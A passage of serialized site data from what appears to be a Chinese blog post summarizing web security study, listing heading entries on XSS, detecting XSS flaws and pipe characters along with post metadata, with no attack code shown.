"depth":767,"text":488},{"id":499,"depth":767,"text":502},{"id":508,"depth":767,"text":71},{"id":511,"depth":770,"text":803,"children":804},"xss跨站脚本攻击：",[805,806,808,809,810,811],{"id":517,"depth":767,"text":520},{"id":528,"depth":767,"text":807},"如何判断网站上有xss漏洞：",{"id":538,"depth":767,"text":541},{"id":563,"depth":767,"text":566},{"id":572,"depth":767,"text":575},{"id":592,"depth":767,"text":593},{"id":596,"depth":770,"text":599,"children":813},[814,816],{"id":622,"depth":767,"text":815},"管道符：",{"id":651,"depth":767,"text":71},{"id":654,"depth":770,"text":654,"children":818},[819,826],{"id":687,"depth":767,"text":690,"children":820},[821,822,823,824,825],{"id":693,"depth":773,"text":693},{"id":701,"depth":773,"text":701},{"id":711,"depth":773,"text":714},{"id":720,"depth":773,"text":720},{"id":736,"depth":773,"text":736},{"id":750,"depth":767,"text":751},[828],"web","2026-06-09 02:10:00",false,"md","\u002Fimages\u002F初音.jpg",{"slots":834},{},true,"\u002F2026\u002Fweb-security-summary",null,{"text":839,"minutes":840,"time":841,"words":842},"29 min read",28.01,1680600,5602,{"title":5,"description":20},{"loc":836},"posts\u002F2026\u002F第二阶段总结",[847],"Web安全","tech","qJS4IXM4P3L3fZc1r64YgsiK0JZBIk5uSfDVCHZpOmQ",[851,837],{"title":852,"path":853,"stem":854,"children":-1,"date":855,"type":848},"博客使用指南","\u002F2026","posts\u002F2026\u002F博客使用指南","2026-06-07 12:00:00",1780991080569]